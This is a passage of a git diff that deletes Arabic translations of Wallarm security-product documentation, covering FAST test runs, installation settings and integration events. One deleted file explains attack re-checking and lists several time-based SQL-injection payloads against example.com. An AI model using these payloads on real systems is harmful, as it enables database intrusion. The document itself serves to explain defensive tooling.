`X-WallarmAPI-Token` | يخدم لنقل قيمة التوكن إلى خادم API | -| المعاملات: | `test_run_id` **(مطلوب)** | مُعرف التشغيل التجريبي الذي سيتم الحصول على حالته | - -**مثال على طلب:** -``` -curl --request GET \ - --url https://us1.api.wallarm.com/v1/test_run/tr_1234 \ - --header 'Host: us1.api.wallarm.com' \ - --header 'X-WallarmAPI-Token: token_Qwe12345' -``` - -**مثال على استجابة:** -``` -{ - "status": 200, - "body": { - "id": tr_1234, - "name": "demo-testrun", - ... - "ready_for_recording": true, - ... - } -} -``` \ No newline at end of file diff --git a/include-ar/fast/test-run-adv-settings.md b/include-ar/fast/test-run-adv-settings.md deleted file mode 100644 index 74cd47557b..0000000000 --- a/include-ar/fast/test-run-adv-settings.md +++ /dev/null @@ -1,19 +0,0 @@ -* يُحدد مربع الاختيار "إيقاف عند أول فشل" ما إذا كان يجب إيقاف تشغيل الاختبار بعد العثور على أول ثغرة أمنية. -* يُحدد مربع الاختيار "تخطي الأساسات المكررة" ما إذا كان يتم تجاهل نسخ الطلبات الأساسية التي تم استلامها سابقًا. إذا استقبل عقدة FAST نفس الطلب الأساسي الذي تم استلامه في هذا التشغيل الاختباري مسبقًا، فلا يتم إنشاء طلبات اختبار على أساسه، وتطبع وحدة تحكم عقدة FAST الرسالة التالية: `[info] The baseline #8921 is duplicated and already was processed`. -* يُحدد مربع الاختيار "تخطي امتدادات الملفات التالية" ما إذا كانت أنواع معينة من الملفات مستبعدة من عملية التقييم أثناء الاختبار. يتم تحديد هذه الأنواع من الملفات باستخدام التعبير العادي. - - على سبيل المثال، إذا قمت بتعيين امتداد الملف `ico` ليكون مستبعدًا، فإن طلب الأساس `GET /favicon.ico` لن يتم فحصه بواسطة FAST وسيتم تخطيه. - - يمكن أن يحتوي التعبير العادي على واحد من التعبيرات المتضادة التالية: - - * `.`: أي عدد من أي حرف - * `x*`: أي عدد من حرف `x` - * `x?`: الحرف `x` الفردي (أو عدم وجود حرف `x` على الإطلاق) - * امتداد ملف فردي (مثل، `jpg`) - * عدة امتدادات مفصولة بإما الحرف "|" أو الحرف "," (مثل، `jpg | png` أو `jpg, png`) - - إذا لم يتم تحديد تعبير عادي، فإن FAST ستفحص طلبات الأساس بأي امتداد للملف. - -* يُحدد شريط تمرير "RPS لكل تشغيل اختباري" الحد الأقصى لعدد الطلبات في الثانية لكل تشغيل اختباري. يمكن أن تأخذ هذه الإعدادات قيمًا من `1` إلى `1000`. القيمة الافتراضية هي `1000`. -* يُحدد شريط تمرير "RPS لكل طلب أساس" الحد الأقصى لعدد الطلبات في الثانية لكل طلب أساس. يمكن أن تأخذ هذه الإعدادات قيمًا من `1` إلى `500`. القيمة الافتراضية هي `500`. -* يُحدد شريط تمرير "إيقاف تسجيل الأساس بعد" حد زمن التشغيل الاختباري. يمكن أن تأخذ هذه الإعدادات قيمًا من `5 دقائق` (5 دقائق) إلى `1 يوم` (24 ساعة). القيمة الافتراضية هي `30 دقيقة` (30 دقيقة). \ No newline at end of file diff --git a/include-ar/fast/wallarm-api-host-note-cicd.md b/include-ar/fast/wallarm-api-host-note-cicd.md deleted file mode 100644 index 2d073bcaf8..0000000000 --- a/include-ar/fast/wallarm-api-host-note-cicd.md +++ /dev/null @@ -1,10 +0,0 @@ -!!! تحذير "ربط عقدة FAST بأحد سحب Wallarm" - تتفاعل عقدة FAST مع أحد [السحب المتاحة من Wallarm](../../cloud-list.md). بشكل افتراضي، تعمل عقدة FAST مع خادم واجهة برمجة التطبيقات الموجود في السحابة الأمريكية. - - لتوجيه عقدة FAST لاستخدام خادم واجهة برمجة التطبيقات من سحابة أخرى، قم بتمرير متغير البيئة `WALLARM_API_HOST` إلى حاوية العقدة والذي يشير إلى عنوان خادم واجهة برمجة التطبيقات اللازم من Wallarm. - - مثال (لعقدة FAST تستخدم خادم واجهة برمجة التطبيقات الموجود في السحابة الأوروبية من Wallarm): - - ``` - WALLARM_API_HOST=api.wallarm.com - ``` \ No newline at end of file diff --git a/include-ar/fast/wallarm-api-host-note.md b/include-ar/fast/wallarm-api-host-note.md deleted file mode 100644 index b3fe5f740a..0000000000 --- a/include-ar/fast/wallarm-api-host-note.md +++ /dev/null @@ -1,10 +0,0 @@ -!!! تحذير "توصيل عقدة FAST بإحدى سحب Wallarm" - تتفاعل عقدة FAST مع إحدى [سحب Wallarm المتاحة](../cloud-list.md). بشكل افتراضي، تعمل عقدة FAST مع خادم واجهة برمجة التطبيقات الموجود في السحابة الأمريكية. - - لتعليم عقدة FAST باستخدام خادم واجهة برمجة التطبيقات من سحابة أخرى، امرر إلى حاوية العقدة متغير البيئة `WALLARM_API_HOST` الذي يشير إلى عنوان خادم واجهة برمجة التطبيقات اللازم في Wallarm. - - مثال (لعقدة FAST تستخدم خادم واجهة برمجة التطبيقات الموجود في سحابة Wallarm الأوروبية): - - ``` - WALLARM_API_HOST=api.wallarm.com - ``` \ No newline at end of file diff --git a/include-ar/filter-node-defaults.md b/include-ar/filter-node-defaults.md deleted file mode 100644 index 25fe9eb734..0000000000 --- a/include-ar/filter-node-defaults.md +++ /dev/null @@ -1,4 +0,0 @@ -!!! info "الإعدادات الافتراضية" - يعمل العقدة الفاحصة حديثة التثبيت في وضع الحظر (انظر إلى وصف التوجيه [`wallarm_mode`](configure-parameters-en.md#wallarm_mode) بشكل افتراضي. - - قد ينتج عن ذلك عدم فاعلية [Wallarm Scanner](../user-guides/scanner.md). إذا كنت تخطط لاستخدام الـScanner، فإنك [تحتاج إلى اتخاذ إجراءات إضافية](#adding-wallarm-scanner-addresses-to-the-allowlist) لجعل Scanner يعمل بشكل فعال. \ No newline at end of file diff --git a/include-ar/gcp-autoscaling-connect-ssh.md b/include-ar/gcp-autoscaling-connect-ssh.md deleted file mode 100644 index 94a7ca0a2f..0000000000 --- a/include-ar/gcp-autoscaling-connect-ssh.md +++ /dev/null @@ -1,2 +0,0 @@ -!!! info "الاتصال بالنسخة من خلال مفتاح خاص مخصص" - إذا كنت قد فعلت الاتصال بالنسخة من خلال زوج مفاتيح SSH مخصص خلال عملية إنشاء النسخة الأساسية، تأكد من أنك تمتلك الوصول إلى المفتاح الخاص من هذا الزوج من المفاتيح. \ No newline at end of file diff --git a/include-ar/how-attack-rechecker-works.md b/include-ar/how-attack-rechecker-works.md deleted file mode 100644 index b3a3df426d..0000000000 --- a/include-ar/how-attack-rechecker-works.md +++ /dev/null @@ -1,39 +0,0 @@ -استنادًا إلى الهجمات المكتشفة مبدئيًا، يُنشئ وحدة **التحقق من التهديدات النشطة** العديد من طلبات الاختبار الجديدة بأحمال عمل مختلفة تهاجم نفس النقطة النهائية. يسمح هذا الآلية لـWallarm بكشف الثغرات الأمنية التي يمكن استغلالها خلال الهجمات. سيؤكد عملية التحقق من التهديدات النشطة إما أن التطبيق غير معرض لثغرات هجوم معينة أو يجد مشكلات أمنية فعلية في أمان التطبيق. - -[قائمة الثغرات التي يمكن اكتشافها بواسطة الوحدة](../attacks-vulns-list.md) - -تستخدم عملية **التحقق من التهديدات النشطة** المنطق التالي لفحص التطبيق المحمي لثغرات الأمان المحتملة في الويب وAPI: - -1. لكل مجموعة من طلبات ضارة (كل هجوم) تم اكتشافه بواسطة عقدة تصفية Wallarm وتحميلها إلى Wallarm Cloud المتصل، يحلل النظام أي نقطة نهائية محددة (عنوان URL، معلمة سلسلة الطلب، سمة JSON، حقل XML، إلخ) تمت مهاجمتها وأي نوع من الثغرات الأمنية (SQLi، RCE، XSS، إلخ) كان المهاجم يحاول استغلاله. على سبيل المثال، دعونا نلقي نظرة على الطلب الضار التالي من نوع GET: - - ```bash - https://example.com/login?token=IyEvYmluL3NoCg&user=UNION SELECT username, password - ``` - - سيتعلم النظام من الطلب التفاصيل التالية: - - * عنوان URL المهاجم هو `https://example.com/login` - * نوع الهجوم المستخدم هو SQLi (طبقًا لـ`UNION SELECT username, password` الحمولة) - * معلمة سلسلة الاستعلام المهاجمة هي `user` - * قطعة إضافية من المعلومات المقدمة في الطلب هي معلمة سلسلة الطلب `token=IyEvYmluL3NoCg` (ربما تُستخدم من قبل التطبيق لمصادقة المستخدم) -2. باستخدام المعلومات المجمعة، ستقوم وحدة **التحقق من التهديدات النشطة** بإنشاء قائمة من حوالي 100-150 طلب اختبار إلى النقطة النهائية المستهدفة أصلاً ولكن بأنواع مختلفة من الأحمال الضارة لنفس نوع الهجوم (مثل SQLi). على سبيل المثال: - - ```bash - https://example.com/login?token=IyEvYmluL3NoCg&user=1')+WAITFOR+DELAY+'0 indexpt'+AND+('wlrm'='wlrm - https://example.com/login?token=IyEvYmluL3NoCg&user=1+AND+SLEEP(10)--+wlrm - https://example.com/login?token=IyEvYmluL3NoCg&user=1);SELECT+PG_SLEEP(10)-- - https://example.com/login?token=IyEvYmluL3NoCg&user=1'+OR+SLEEP(10)+AND+'wlrm'='wlrm - https://example.com/login?token=IyEvYmluL3NoCg&user=1+AND+1=(SELECT+1+FROM+PG_SLEEP(10)) - https://example.com/login?token=IyEvYmluL3NoCg&user=%23'%23\x22%0a-sleep(10)%23 - https://example.com/login?token=IyEvYmluL3NoCg&user=1';+WAITFOR+DELAY+'0code:10'-- - https://example.com/login?token=IyEvYmluL3NoCg&user=1%27%29+OR+SLEEP%280%29+AND+%28%27wlrm%27%3D%27wlrm - https://example.com/login?token=IyEvYmluL3NoCg&user=SLEEP(10)/*'XOR(SLEEP(10))OR'|\x22XOR(SLEEP(10))OR\x22*/ - ``` - - !!! info "الأحمال الضارة لا تضر مواردك" - الأحمال الضارة للطلبات المولدة لا تشمل بناء جملة ضارة حقيقية، إنما هي تهدف فقط إلى تقليد مبدأ الهجوم. نتيجةً لذلك، لا تضر بمواردك. -3. سترسل وحدة **التحقق من التهديدات النشطة** الطلبات الاختبارية المولدة إلى التطبيق متجاوزة حماية Wallarm (باستخدام [ميزة القائمة البيضاء][allowlist-scanner-addresses]) وتتحقق من أن التطبيق في النقطة النهائية المحددة ليس عرضة لنوع الهجوم المحدد. إذا اشتبهت الوحدة في أن التطبيق لديه ثغرة أمنية فعلية، ستقوم بإنشاء حدث بنوع [حادث](../user-guides/events/check-attack.md#incidents). - - !!! info "قيمة رأس التوجيه `User-Agent` في الطلبات" - سيكون لرأس HTTP `User-Agent` في طلبات وحدة **التحقق من التهديدات النشطة** القيمة `Wallarm Threat-Verification (v1.x)`. -4. يتم الإبلاغ عن الحوادث الأمنية المكتشفة في وحدة التحكم Wallarm ويمكن إرسالها إلى فريق الأمان الخاص بك عبر [التكاملات](../user-guides/settings/integrations/integrations-intro.md) المتاحة لطرف ثالث و[المحفزات](../user-guides/triggers/triggers.md). \ No newline at end of file diff --git a/include-ar/ingress-controller-best-practices-intro.md b/include-ar/ingress-controller-best-practices-intro.md deleted file mode 100644 index dcdfd26856..0000000000 --- a/include-ar/ingress-controller-best-practices-intro.md +++ /dev/null @@ -1,6 +0,0 @@ -!!! info "توصيات أخرى" - نسخة Wallarm من وحدة تحكم الدخول لـ Kubernetes تعتمد على [وحدة تحكم الدخول NGINX التي يدعمها المجتمع لـ Kubernetes](https://github.com/kubernetes/ingress-nginx)، لذا فإن معظم التوصيات الموجودة في وثائق وحدة تحكم الدخول الرسمية وعلى الإنترنت العام مطبقة أيضًا على وحدة تحكم الدخول من Wallarm. - - القراءة الموصى بها: - - * [دليل وحدة تحكم الدخول NGINX الرسمي](https://kubernetes.github.io/ingress-nginx/user-guide/nginx-configuration/) \ No newline at end of file diff --git a/include-ar/ingress-k8s-limitations.md b/include-ar/ingress-k8s-limitations.md deleted file mode 100644 index 35b3a2156f..0000000000 --- a/include-ar/ingress-k8s-limitations.md +++ /dev/null @@ -1,2 +0,0 @@ -!!! warning "المنصات المدعومة لـ Kubernetes" - يرجى ملاحظة أن متحكمات الدخول الخاصة بـ Wallarm NGINX أو NGINX Plus تعمل فقط على إصدار 1.15 أو أقل من منصة Kubernetes. \ No newline at end of file diff --git a/include-ar/installation-extra-steps-218.md b/include-ar/installation-extra-steps-218.md deleted file mode 100644 index 6204e43943..0000000000 --- a/include-ar/installation-extra-steps-218.md +++ /dev/null @@ -1,44 +0,0 @@ -## إعدادات إضافية - -قد تتطلب عقدة التصفية بعض التكوينات الإضافية بعد التثبيت. - -يُدرج الوثيقة أدناه بعض الإعدادات النموذجية التي يمكنك تطبيقها عند الحاجة. - -للحصول على مزيد من المعلومات حول الإعدادات الأخرى المتاحة، انتقل إلى قسم **التكوين** في [دليل المسؤول](admin-intro-en.md). - -### تكوين عرض العنوان الحقيقي للعميل - -إذا كانت عقدة التصفية مُنشرة خلف خادم وكيل أو موزع الأحمال دون أي تكوين إضافي، فقد لا يكون عنوان مصدر الطلب مساويًا لعنوان IP الفعلي للعميل. بدلاً من ذلك، قد يكون مُساويًا لأحد عناوين IP الخاصة بخادم الوكيل أو موزع الأحمال. - -في هذه الحالة، إذا كنت ترغب في أن تتلقى عقدة التصفية عنوان IP الخاص بالعميل كعنوان مصدر للطلب، تحتاج إلى إجراء [تكوين إضافي](using-proxy-or-balancer-en.md) لخادم الوكيل أو موزع الأحمال. - -### إضافة عناوين ماسح Wallarm إلى القائمة البيضاء - -يقوم ماسح Wallarm بفحص موارد شركتك بحثًا عن الثغرات الأمنية. يُجرى الفحص باستخدام عناوين IP من إحدى القوائم التالية (حسب نوع سحابة Wallarm التي تستخدمها): - -* [عناوين ماسح الولايات المتحدة لمستخدمي سحابة الولايات المتحدة](scanner-address-us-cloud.md) -* [عناوين ماسح الاتحاد الأوروبي لمستخدمي سحابة الاتحاد الأوروبي](scanner-address-eu-cloud.md) - -إذا كنت تستخدم ماسح Wallarm، فأنت بحاجة إلى تكوين القوائم البيضاء في برمجيات أمان نطاق شبكتك (مثل جدران الحماية، وأنظمة الكشف عن التسلل، إلخ) لتحتوي على عناوين IP لماسح Wallarm. - -على سبيل المثال، يتم وضع عقدة تصفية Wallarm بإعدادات افتراضية في وضع الحظر، مما يجعل ماسح Wallarm غير قادر على فحص الموارد خلف عقدة التصفية. - -لجعل الماسح يعمل مرة أخرى، [أضف عناوين IP للماسح إلى القائمة البيضاء](scanner-ips-allowlisting.md) على هذه عقدة التصفية. - -### تحديد وقت معالجة الطلب الواحد - -استخدم توجيه Wallarm [`wallarm_process_time_limit`](configure-parameters-en.md#wallarm_process_time_limit) لتحديد الحد الأقصى لمدة معالجة طلب واحد بواسطة عقدة التصفية. - -إذا استهلكت معالجة الطلب وقتًا أكثر مما هو محدد في التوجيه، يتم إدخال معلومات حول الخطأ في ملف السجل ويُعلم الطلب كهجوم `overlimit_res`. - -### تحديد وقت انتظار رد الخادم - -استخدم توجيه NGINX [`proxy_read_timeout`](https://nginx.org/en/docs/http/ngx_http_proxy_module.html#proxy_read_timeout) لتحديد المهلة الزمنية لقراءة رد خادم الوكيل. - -إذا لم يرسل الخادم شيئًا خلال هذا الوقت، يتم إغلاق الاتصال. - -### تحديد الحجم الأقصى لطلب العميل - -استخدم توجيه NGINX [`client_max_body_size`](https://nginx.org/en/docs/http/ngx_http_core_module.html#client_max_body_size) لتحديد الحد الأقصى لحجم جسم طلب العميل. - -إذا تجاوز هذا الحد، يرد NGINX على العميل بالرمز `413` (`Payload Too Large`)، المعروف أيضًا باسم رسالة `Request Entity Too Large`. \ No newline at end of file diff --git a/include-ar/installation-extra-steps.md b/include-ar/installation-extra-steps.md deleted file mode 100644 index b36bca6514..0000000000 --- a/include-ar/installation-extra-steps.md +++ /dev/null @@ -1,31 +0,0 @@ -## إعدادات إضافية - -قد يتطلب العقدة تصفية بعض التكوينات الإضافية بعد التثبيت. - -المستند أدناه يسرد بعض الإعدادات النموذجية التي يمكنك تطبيقها إذا احتجت إلى ذلك. - -للحصول على معلومات إضافية حول الإعدادات المتاحة الأخرى، تقدم إلى قسم **التكوين** في دليل المسؤول. - -### تكوين عرض الـ IP الحقيقي للعميل - -إذا تم نشر العقدة تصفية خلف خادم وكيل أو موازن تحميل دون أي تكوين إضافي، قد لا يكون عنوان مصدر الطلب مساويًا لعنوان IP الفعلي للعميل. بل قد يكون مساويًا لواحد من عناوين IP الخاصة بخادم الوكيل أو موازن التحميل. - -في هذه الحالة، إذا كنت تريد أن تتلقى العقدة تصفية عنوان IP العميل كعنوان مصدر للطلب، تحتاج إلى أداء [تكوين إضافي](using-proxy-or-balancer-en.md) لخادم الوكيل أو موازن التحميل. - -### تحديد وقت معالجة الطلب الفردي - -استخدم توجيه `wallarm_process_time_limit` لتحديد الحد الأقصى لمدة معالجة طلب فردي بواسطة العقدة تصفية. - -إذا استهلكت معالجة الطلب وقتًا أكثر مما هو محدد في التوجيه، يتم إدخال معلومات الخطأ في ملف السجل ويتم تمييز الطلب كهجوم `overlimit_res`. - -### تحديد وقت انتظار رد الخادم - -استخدم توجيه [`proxy_read_timeout`](https://nginx.org/en/docs/http/ngx_http_proxy_module.html#proxy_read_timeout) لتحديد المهلة الزمنية لقراءة رد خادم الوكيل. - -إذا لم يرسل الخادم أي شيء خلال هذا الوقت، يتم إغلاق الاتصال. - -### تحديد الحد الأقصى لحجم الطلب - -استخدم توجيه [`client_max_body_size`](https://nginx.org/en/docs/http/ngx_http_core_module.html#client_max_body_size) لتحديد الحد الأقصى لحجم جسم طلب العميل. - -إذا تم تجاوز هذا الحد، يرد NGINX على العميل بالرمز `413` (`Payload Too Large`)، المعروف أيضًا برسالة `Request Entity Too Large`. \ No newline at end of file diff --git a/include-ar/installation-step-logging.md b/include-ar/installation-step-logging.md deleted file mode 100644 index 6914d0bab2..0000000000 --- a/include-ar/installation-step-logging.md +++ /dev/null @@ -1 +0,0 @@ -قم بتهيئة [تسجيل متغيرات عقدة التصفية](../admin-en/configure-logging.md) باستخدام NGINX. هذا سيسمح بإجراء تشخيص سريع لعقدة التصفية بمساعدة ملف سجلات NGINX. \ No newline at end of file diff --git a/include-ar/integrations/advanced-events-for-integrations-4.6.md b/include-ar/integrations/advanced-events-for-integrations-4.6.md deleted file mode 100644 index be3ffb5011..0000000000 --- a/include-ar/integrations/advanced-events-for-integrations-4.6.md +++ /dev/null @@ -1,13 +0,0 @@ -* يتم استثناء [الضربات](../../../glossary-en.md#hit) المكتشفة باستثناء: - - * الضربات التجريبية المكتشفة بناءً على [التعبير النظامي الخاص](../../rules/regex-rule.md). الضربات غير التجريبية تقوم بتفعيل التنبيهات. - * الضربات غير المحفوظة في [العينة](../../events/analyze-attack.md#sampling-of-hits). - -* المتعلق بالنظام: - * تغييرات [المستخدم](../../../user-guides/settings/users.md) (حديث الإنشاء، محذوف، تغيير الدور) - * تغييرات [الإدماج](integrations-intro.md) (معطل، محذوف) - * تغييرات [التطبيق](../../../user-guides/settings/applications.md) (حديث الإنشاء، محذوف، تغيير الاسم) -* [الثغرات الأمنية](../../../glossary-en.md#vulnerability) المكتشفة، بشكل افتراضي لجميع المستويات أو لمستويات المخاطر المختارة فقط - عالية، متوسطة أو منخفضة. -* تغييرات [القواعد](../../../user-guides/rules/intro.md) و[المحفزات](../../../user-guides/triggers/triggers.md) (إنشاء، تحديث، أو حذف القاعدة أو المحفز) -* تغييرات في [النطاق (الأصول المعرضة)](../../scanner.md): التحديثات في المضيفين، الخدمات، والنطاقات -* على أساس ساعي، يمكنك الحصول على إشعار بعدد الطلبات التي تم معالجتها خلال الساعة السابقة \ No newline at end of file diff --git a/include-ar/integrations/advanced-events-for-integrations.md b/include-ar/integrations/advanced-events-for-integrations.md deleted file mode 100644 index b99c8c0e9d..0000000000 --- a/include-ar/integrations/advanced-events-for-integrations.md +++ /dev/null @@ -1,13 +0,0 @@ -* تم اكتشاف [الضربات](../../../glossary-en.md#hit) باستثناء: - - * الضربات التجريبية المكتشفة بناءً على [التعبير النظامي المخصص](../../rules/regex-rule.md). الضربات غير التجريبية تُحفز الإشعارات. - * الضربات غير المحفوظة في [العينة](../../events/analyze-attack.md#sampling-of-hits). - -* المتعلقة بالنظام: - * تغييرات [المستخدم](../../../user-guides/settings/users.md) (حديث الإنشاء، محذوف، تغيير الدور) - * تغييرات [التكامل](integrations-intro.md) (معطل، محذوف) - * تغييرات [التطبيق](../../../user-guides/settings/applications.md) (حديث الإنشاء، محذوف، تغيير الاسم) -* تم اكتشاف [الثغرات الأمنية](../../../glossary-en.md#vulnerability)، كلها بشكل افتراضي أو لمستويات الخطورة المُختارة فقط - عالية، متوسطة أو منخفضة. -* تغييرات [القواعد](../../../user-guides/rules/rules.md) و[المشغلات](../../../user-guides/triggers/triggers.md) (إنشاء، تحديث، أو حذف القاعدة أو المشغل) -* تغييرات في [النطاق (الأصول المعرضة)](../../scanner.md): التحديثات في الأسماء، الخدمات، والنطاقات -* على أساس ساعي، يمكنك الحصول على إشعار بعدد الطلبات المُعالجة خلال الساعة السابقة \ No newline at end of file diff --git a/include-ar/integrations/application-for-splunk.md b/include-ar/integrations/application-for-splunk.md deleted file mode 100644 index f846b0fab1..0000000000 --- a/include-ar/integrations/application-for-splunk.md +++ /dev/null @@ -1,14 +0,0 @@ -للحصول على أحداث Wallarm منظمة ضمن لوحة تحكم جاهزة للاستخدام في Splunk 9.0 أو أحدث، يمكنك تثبيت [تطبيق Wallarm لـ Splunk](https://splunkbase.splunk.com/app/6610). - -يوفر لك هذا التطبيق لوحة تحكم مُعدة مسبقًا تُملأ تلقائيًا بالأحداث المُستلمة من Wallarm. بالإضافة إلى ذلك، يُتيح لك التطبيق الانتقال إلى السجلات التفصيلية لكل حدث وتصدير البيانات من لوحة التحكم. - -![لوحة تحكم Splunk][splunk-dashboard-by-wallarm-img] - -لتثبيت تطبيق Wallarm لـ Splunk: - -1. في واجهة Splunk ➝ **التطبيقات** ابحث عن تطبيق `Wallarm API Security`. -1. انقر **تثبيت** وأدخل بيانات اعتماد Splunkbase. - -إذا تم تسجيل بعض أحداث Wallarm بالفعل في Splunk، سيتم عرضها على لوحة التحكم، بالإضافة إلى الأحداث اللاحقة التي سيكتشفها Wallarm. - -بالإضافة إلى ذلك، يمكنك تخصيص لوحة التحكم الجاهزة للاستخدام بالكامل، مثل عرضها أو [سلاسل البحث](https://docs.splunk.com/Documentation/Splunk/latest/SearchReference/Search) المستخدمة لاستخراج البيانات من جميع سجلات Splunk. \ No newline at end of file diff --git a/include-ar/integrations/disable-integration.md b/include-ar/integrations/disable-integration.md deleted file mode 100644 index 6977c024f3..0000000000 --- a/include-ar/integrations/disable-integration.md +++ /dev/null @@ -1,8 +0,0 @@ -لإيقاف إرسال التقارير والإشعارات مؤقتًا، يمكنك تعطيل التكامل: - -1. انتقل إلى وحدة التحكم Wallarm → **التكاملات** في [السحابة الأمريكية](https://us1.my.wallarm.com/integrations/) أو [السحابة الأوروبية](https://my.wallarm.com/integrations/). -2. افتح تكامل نشط وانقر على **تعطيل**. - -لإعادة تمكين إرسال التقارير والإشعارات، افتح التكامل المعطل وانقر على **تمكين**. - -تعطيل التكامل هو حدث نظامي. إذا كنت تتلقى إشعارات النظام، فسيتم إرسال رسائل حول التكامل المعطل إلى [النظام المُعد](integrations-intro.md#integration-types). \ No newline at end of file diff --git a/include-ar/integrations/events-for-integrations-4.6.md b/include-ar/integrations/events-for-integrations-4.6.md deleted file mode 100644 index 655e4af9bb..0000000000 --- a/include-ar/integrations/events-for-integrations-4.6.md +++ /dev/null @@ -1,10 +0,0 @@ -* المتعلقة بالنظام: - * تغييرات في [المُستخدمين](../../../user-guides/settings/users.md) (تم إنشاء, حذف, تغيير الدور) - * تغييرات في [التكاملات](integrations-intro.md) (تعطيل, حذف) - * تغييرات في [التطبيقات](../../../user-guides/settings/applications.md) (تم إنشاء, حذف, تغيير الاسم) -* تم اكتشاف [الثغرات الأمنية](../../../glossary-en.md#vulnerability)، بشكل افتراضي جميعها أو فقط لمستويات المخاطر المختارة: - * مخاطر عالية - * مخاطر متوسطة - * مخاطر منخفضة -* تغيير في [القواعد](../../../user-guides/rules/intro.md) و[المُحفزات](../../../user-guides/triggers/triggers.md) (إنشاء, تحديث, أو حذف القاعدة أو المُحفز) -* تغيير في [النطاق (الأصول المعرضة)](../../scanner.md): تحديثات في الاستضافة, الخدمات, والنطاقات \ No newline at end of file diff --git a/include-ar/integrations/events-for-integrations-mail.md b/include-ar/integrations/events-for-integrations-mail.md deleted file mode 100644 index 80fa0ae2ee..0000000000 --- a/include-ar/integrations/events-for-integrations-mail.md +++ /dev/null @@ -1,9 +0,0 @@ -* المتعلق بالنظام: - * تغييرات [المستخدم](../../../user-guides/settings/users.md) (إنشاء جديد، حذف، تغيير الدور) - * تغييرات [التكامل](integrations-intro.md) (تعطيل، حذف) - * تغييرات [التطبيق](../../../user-guides/settings/applications.md) (إنشاء جديد، حذف، تغيير الاسم) -* الثغرات الأمنية [المكتشفة](../../../glossary-en.md#vulnerability)، بشكل افتراضي لجميع مستويات الخطورة أو لمستويات الخطورة المختارة فقط: - * خطورة عالية - * خطورة متوسطة - * خطورة منخفضة -* تغير [النطاق (الأصول المعرضة)](../../scanner.md): تحديثات في الاستضافات، الخدمات، والنطاقات \ No newline at end of file diff --git a/include-ar/integrations/events-for-integrations.md b/include-ar/integrations/events-for-integrations.md deleted file mode 100644 index 5d7d962359..0000000000 --- a/include-ar/integrations/events-for-integrations.md +++ /dev/null @@ -1,10 +0,0 @@ -* المتعلقة بالنظام: - * تغييرات [المستخدم](../../../user-guides/settings/users.md) (تم إنشاؤها حديثًا، تم حذفها، تغيير الدور) - * تغييرات [التكامل](integrations-intro.md) (تم تعطيله، تم حذفه) - * تغييرات [التطبيق](../../../user-guides/settings/applications.md) (تم إنشاؤه حديثًا، تم حذفه، تغيير الاسم) -* ال[ثغرات](../../../glossary-en.md#vulnerability) المكتشفة، وذلك بشكل افتراضي لكافة مستويات المخاطر أو فقط لمستويات المخاطر المختارة: - * مخاطر عالية - * مخاطر متوسطة - * مخاطر منخفضة -* تغيّرت [القواعد](../../../user-guides/rules/rules.md) و[المحفزات](../../../user-guides/triggers/triggers.md) (إنشاء، تحديث، أو حذف القاعدة أو المحفز) -* تغيّر [النطاق (الأصول المعرضة)](../../scanner.md): تحديثات في الخوادم والخدمات والنطاقات \ No newline at end of file diff --git a/include-ar/integrations/integration-not-working.md b/include-ar/integrations/integration-not-working.md deleted file mode 100644 index 042ceb8080..0000000000 --- a/include-ar/integrations/integration-not-working.md +++ /dev/null @@ -1,15 +0,0 @@ -يتم إرسال الإشعارات إلى النظام عبر الطلبات. إذا كان النظام غير متاح أو تم تكوين معلمات التكامل بشكل غير صحيح، يتم إرجاع كود الخطأ في الاستجابة للطلب. - -إذا استجاب النظام لطلب Wallarm بأي كود غير `2xx`، تعيد Wallarm إرسال الطلب بفاصل زمني حتى يتم استقبال كود `2xx`: - -* فترات الدورة الأولى: 1، 3، 5، 10، 10 ثانية -* فترات الدورة الثانية: 0، 1، 3، 5، 30 ثانية -* فترات الدورة الثالثة: 1، 1، 3، 5، 10، 30 دقيقة - -إذا وصلت نسبة الطلبات الغير ناجحة إلى 60% في 12 ساعة، يتم تعطيل التكامل تلقائيًا. إذا كنت تتلقى إشعارات من النظام، ستحصل على رسالة حول تعطيل التكامل تلقائيًا. - - \ No newline at end of file diff --git a/include-ar/integrations/integrations-disable-delete.md b/include-ar/integrations/integrations-disable-delete.md deleted file mode 100644 index 0074f08dc5..0000000000 --- a/include-ar/integrations/integrations-disable-delete.md +++ /dev/null @@ -1,3 +0,0 @@ -يمكنك حذف الربط أو تعطيله مؤقتًا. في حين أن الحذف يوقف إرسال الإشعار تمامًا ويحذف جميع الإعدادات، فإن التعطيل يوقف إرسال الإشعار؛ والذي يمكنك في أي وقت إعادة تفعيله بنفس الإعدادات. - -إذا كانت الفعاليات **المتعلقة بالنظام** مختارة لتحفيز إرسال الإشعار في الربط، سوف تقوم Wallarm بإخطارك عن كلا هذه الإجراءات. \ No newline at end of file diff --git a/include-ar/integrations/integrations-trigger-setup-limited.md b/include-ar/integrations/integrations-trigger-setup-limited.md deleted file mode 100644 index 10cde0da12..0000000000 --- a/include-ar/integrations/integrations-trigger-setup-limited.md +++ /dev/null @@ -1,18 +0,0 @@ -بجانب الإشعارات التي قمت بضبطها مسبقًا من خلال بطاقة التكامل، تسمح لك محفزات Wallarm باختيار أحداث إضافية للإشعارات: - -* عدد [الهجمات](../../../glossary-en.md#attack)، [الضربات](../../../glossary-en.md#hit) أو الوقائع في فترة زمنية محددة (يوم، ساعة، إلخ.) يتجاوز العدد المحدد - - !!! معلومة "ما لا يتم احتسابه" - * بالنسبة للهجمات: - * الهجمات التجريبية المبنية على [التعبيرات النظامية المخصصة](../../../user-guides/rules/regex-rule.md). - * بالنسبة للضربات: - * الضربات التجريبية المبنية على [التعبيرات النظامية المخصصة](../../../user-guides/rules/regex-rule.md). - * الضربات التي لم تُحفظ في [العينة](../../events/analyze-attack.md#sampling-of-hits). - -* حدثت [تغييرات في واجهة برمجة التطبيقات](../../../api-discovery/track-changes.md) -* تم الكشف عن [واجهة برمجة التطبيقات الشريرة](../../../api-discovery/rogue-api.md) (الظل، اليتيمة، الزومبي) -* تم إضافة مستخدم جديد إلى حساب الشركة - -لتفصيل الشروط، يمكنك إضافة واحد أو أكثر من المرشحات. حالما يتم تعيين الشرط والمرشحات، حدد التكامل الذي من خلاله ينبغي إرسال التنبيه المختار. يمكنك اختيار عدة تكاملات في وقت واحد. - -![اختيار التكامل](../../../images/user-guides/triggers/select-integration.png) \ No newline at end of file diff --git a/include-ar/integrations/integrations-trigger-setup-siem-webhook.md b/include-ar/integrations/integrations-trigger-setup-siem-webhook.md deleted file mode 100644 index 2b0bcdb9a4..0000000000 --- a/include-ar/integrations/integrations-trigger-setup-siem-webhook.md +++ /dev/null @@ -1,44 +0,0 @@ -### الخطوة 1: اختيار شرط - -تتوفر الشروط التالية للإشعار: - -* عدد 